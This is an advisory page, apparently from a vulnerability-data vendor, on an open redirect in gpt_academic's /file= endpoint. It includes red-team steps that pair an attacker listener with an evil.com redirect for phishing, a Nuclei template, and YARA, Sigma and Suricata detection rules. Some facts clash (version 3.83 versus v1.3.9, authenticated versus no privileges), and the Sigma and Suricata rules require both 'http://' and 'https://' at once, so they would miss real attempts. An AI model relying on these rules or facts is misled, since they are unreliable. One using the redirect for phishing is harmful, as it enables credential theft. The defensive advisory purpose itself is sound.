CVE-2024-10812
Executive Summary
CVE-2024-10812 is an open redirect vulnerability in binary-husky/gpt_academic version 3.83. The flaw exists in the /file= endpoint, where user-controlled input is used to construct a redirect URL without proper validation or sanitization. An attacker can craft a malicious link that redirects an authenticated user to an external, attacker-controlled domain. This can be leveraged for phishing attacks, malware distribution, and credential theft. The vulnerability has a CVSS score of 6.1 (Medium) and a public proof-of-concept (Nuclei template) is available. No official patch has been released at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a Python-based open-source project (PyPI package: gpt_academic). The vulnerability is in the application's own code, not in a dependency. However, users should verify the integrity of their installation and monitor for any malicious forks or packages that may exploit this vulnerability.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed to trigger the redirect.
- User Interaction (UI): Required (R) - The victim must click the crafted link.
- Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope (redirects to external domains).
- Confidentiality (C): Low (L) - Limited information disclosure possible via phishing.
- Integrity (I): Low (L) - Limited ability to modify data via redirect.
- Availability (A): None (N) - No impact on availability.
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The primary risk is social engineering and phishing.
Deep Dive & Mechanics
The vulnerability is located in the file handling logic of gpt_academic. When a user accesses a URL like /file=https://attacker.com, the application takes the value of the file parameter and uses it as a redirect target in an HTTP response header (Location). The code does not validate whether the target is an internal or external domain, nor does it sanitize the input.
Root Cause: Lack of input validation on the file parameter. The application should only allow redirects to internal paths or whitelisted domains.
Attack Flow:
- Attacker crafts a URL:
https://victim-gpt-academic.com/file=https://evil.com/phish - Attacker sends this link to a victim (e.g., via email, social media).
- Victim clicks the link and is redirected to
https://evil.com/phish. - The attacker's site can mimic the login page of
gpt_academicor another service to steal credentials.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# In the file handling route
redirect_url = request.args.get('file')
return redirect(redirect_url)
Patched Code (Conceptual):
# In the file handling route
redirect_url = request.args.get('file')
# Validate that the URL is internal
if not is_safe_url(redirect_url):
abort(400, "Invalid redirect target")
return redirect(redirect_url)
A proper patch would implement a whitelist of allowed domains or ensure the redirect is only to relative paths.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of
gpt_academicv3.83. - A listener on an attacker-controlled server (e.g.,
https://evil.com).
Exploit Steps:
- Start a web server to capture redirected traffic (e.g., using Python):
python3 -m http.server 8080 - Craft the malicious URL:
http://<victim-ip>:<port>/file=http://<attacker-ip>:8080 - Send the link to the victim via email or social engineering.
- When the victim clicks, they are redirected to the attacker's server. The attacker can log the request and serve a phishing page.
Nuclei Template (Provided):
id: CVE-2024-10812
info:
name: GPT Academic v1.3.9 - Open Redirect
author: DhiyaneshDK
severity: medium
description: |
An open redirect vulnerability exists in GPT Academic v1.3.9, where the file parameter in the /file= endpoint can be manipulated to redirect users to malicious websites. This could facilitate phishing attacks by tricking users into visiting attacker-controlled URLs.
impact: |
Unauthenticated attackers can redirect users to malicious URLs via the file parameter, facilitating phishing attacks and credential theft.
remediation: |
Update GPT Academic to a version newer than v1.3.9.
reference:
- https://huntr.com/bounties/51408ebd-e0be-489d-8088-f210087dbd6a
classification:
epss-score: 0.00729
epss-percentile: 0.72739
metadata:
verified: true
max-request: 1
fofa-query: body="gpt_academic"
tags: cve,cve2024,huntr,redirect,oss,gpt_academic,binary-husky,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
dsl:
- 'contains_any(tolower(body), "gpt_academic", "gptacademic")'
internal: true
- method: GET
path:
- "{{BaseURL}}/file=https://oast.pro"
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
Usage: Run the Nuclei template against the target:
nuclei -t CVE-2024-10812.yaml -u http://target.com
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests to
/file=followed by an external domain. - Look for HTTP response headers containing
Location:pointing to external domains.
Defense:
- Implement input validation: only allow redirects to relative paths or a whitelist of internal domains.
- Use a web application firewall (WAF) to block requests with external URLs in the
fileparameter. - Educate users about phishing attacks and the risks of clicking untrusted links.
Indicators of Compromise (IOCs)
- URL Pattern:
*/file=https?://*(any external domain) - HTTP Response Header:
Location: https?://*(external domain) - Log Entry:
GET /file=https://evil.comwith a 302 response code. - Network Traffic: Outbound connections to unknown or suspicious domains shortly after a redirect.
Detection Engineering
YARA Rule
rule CVE_2024_10812_Open_Redirect {
meta:
description = "Detects open redirect attempts in GPT Academic logs"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-10812"
strings:
$redirect = "/file="
$http = "http://"
$https = "https://"
condition:
$redirect and ($http or $https)
}
Sigma Rule
title: GPT Academic Open Redirect Attempt
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to GPT Academic with an external redirect target
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-uri-query|contains: "/file="
cs-uri-query|contains|all:
- "http://"
- "https://"
condition: selection
falsepositives:
- Legitimate redirects to internal resources (if any)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10812 GPT Academic Open Redirect Attempt"; flow:to_server; content:"/file="; http_uri; content:"http://"; distance:0; within:100; content:"https://"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not needed, or restrict access to it via a reverse proxy.
- Implement input validation to only allow redirects to internal paths (e.g.,
/file=local/path). - Use a WAF to block requests with external URLs in the
fileparameter.
Long-Term Fix:
- Update to a patched version once released by the vendor.
- Fork the repository and apply the fix yourself if no patch is forthcoming.
Workaround:
- Modify the application code to validate the
fileparameter against a whitelist of allowed domains or paths.
Valters IT
{/* [Security Hash: 11D77ACF9A4CAD3D39DE6BA9] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.